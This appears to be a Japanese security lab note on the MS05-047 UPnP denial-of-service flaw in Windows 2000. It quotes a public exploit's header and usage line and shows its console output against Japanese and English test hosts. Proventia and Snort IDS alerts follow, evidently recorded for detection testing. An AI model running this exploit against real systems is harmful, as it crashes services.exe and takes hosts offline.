■脆弱性の説明MS05-047
http://www.microsoft.com/japan/technet/security/Bulletin/MS05-047.mspx
■コメント
/* Program: Denial of Service attack for MS UMPNPMGR PNP_GetDeviceList
* Author: Winny Thomas
* Vulnerability: no length checking on passed parameter to PNP_GetDeviceList in UMPNPMGR.dll
* Note: The code crashes services.exe on the target, effectively bringing down the target against which its run.
* This code is for educational/testing purposes by authorized persons on networks systems setup for such purposes
* The author shall bear no responsibility for any damage caused by using this code.
*/
■実証コード
OSWin2K(日本語)+SPなし(失敗)
Usage: upnp_getdevicelist_DOS <host name|ip address>
[root@linux]# ./MS05-047_02 192.168.221.180
==========================================
WIN2K UPNP interface DOS Attack
Coded by Winny Thomas :-)
==========================================
[*] Resolving 192.168.221.180: OK
[*] SMB Negotiation with 192.168.221.180: OK
[*] SMB Session setup ANDX 1 with 192.168.221.180: OK
[*] SMB Session setup ANDX 2 with 192.168.221.180: Failed
[root@linux]#
Win2k(英語)＋SPなし(成功)
==========================================
WIN2K UPNP interface DOS Attack
Coded by Winny Thomas :-)
==========================================
[*] Resolving 192.168.221.180: OK
[*] SMB Negotiation with 192.168.221.180: OK
[*] SMB Session setup ANDX 1 with 192.168.221.180: OK
[*] SMB Session setup ANDX 2 with 192.168.221.180: OK
[*] SMB Tree Connect ANDX with 192.168.221.180: OK
[*] SMB NT Create ANDX Request to 192.168.221.180: OK
[*] DCERPC Bind to UPNP RPC Service at 192.168.221.180: OK
[*] PNP_GetDeviceList request to 192.168.221.180: OK
[root@linux ]#
■Proventia
| 2005-12-24 06:52:52 JST | SMB_Filename | N/A | \\192.168.221.180\IPC$ | N/A | N/A | 445 | microsoft-ds |
| 2005-12-24 06:52:52 JST | SMB_Filename | N/A | \browser | N/A | N/A | 445 | microsoft-ds |
| 2005-12-24 06:52:52 JST | Windows_Null_Session | N/A | N/A | TEST-7NZ5L7TFED | HOD | 445 | microsoft-ds |
| 2005-12-24 06:52:52 JST | MSRPC_PlugAndPlay_Detected | N/A | N/A | N/A | N/A | 445 | microsoft-ds |
| 2005-12-24 06:52:52 JST | MSRPC_PlugAndPlay_DeviceSlashBo | 0xA | N/A | N/A | N/A | 445 | microsoft-ds |
※MSRPC_PlugAndPlay_DeviceSlashBo http://ameblo.jp/amaterasu/entry-10007366599.html
■Snort
[**] [1:2466:6] NETBIOS SMB-DS IPC$ unicode share access [**]
[Classification: Generic Protocol Command Decode] [Priority: 3]
12/24-12:55:47.005044 192.168.221.110:1025 -> 192.168.37.180:445
TCP TTL:63 TOS:0x0 ID:68 IpLen:20 DgmLen:152 DF
***AP*** Seq: 0xAEF22CA1 Ack: 0x758C4E71 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 77335 39570
[**] [111:2:1] (spp_stream4) possible EVASIVE RST detection [**]
12/24-12:55:47.504969 192.168.221.110:1025 -> 192.168.37.180:445
TCP TTL:255 TOS:0x0 ID:41071 IpLen:20 DgmLen:40
*****R** Seq: 0xAEF22E0D Ack: 0x0 Win: 0x0 TcpLen: 20
- ハニーネットプロジェクト, 園田 道夫, ドキュメントシステム
- ハニーネットプロジェクト―汝の敵を知れ:セキュリティ脅威者の分析